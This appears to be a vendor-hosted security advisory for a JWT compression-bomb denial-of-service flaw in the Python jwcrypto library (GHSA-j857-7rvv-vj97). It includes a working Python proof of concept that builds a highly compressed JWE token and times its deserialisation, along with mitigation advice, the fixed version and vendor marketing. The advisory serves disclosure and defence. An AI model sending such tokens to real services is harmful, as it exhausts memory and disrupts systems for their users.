GHSA-j857-7rvv-vj97
MEDIUMGHSA-j857-7rvv-vj97 is a medium-severity (CVSS 6.8) CWE-770 vulnerability in jwcrypto. O3 Security confirms whether GHSA-j857-7rvv-vj97 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
Blast Radius
jwcryptoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Affected version
Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5
Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.
Poc
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))
payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"zip": "DEF",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print("-----uncompress-----")
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
print("-----compress-----")
payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">
Mitigation
To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.
References
[1] CVE-2024-21319
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | jwcrypto | all versions | 1.5.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jwcrypto. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update jwcrypto to 1.5.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j857-7rvv-vj97 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j857-7rvv-vj97 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j857-7rvv-vj97. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j857-7rvv-vj97 in your dependencies?
O3 detects GHSA-j857-7rvv-vj97 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.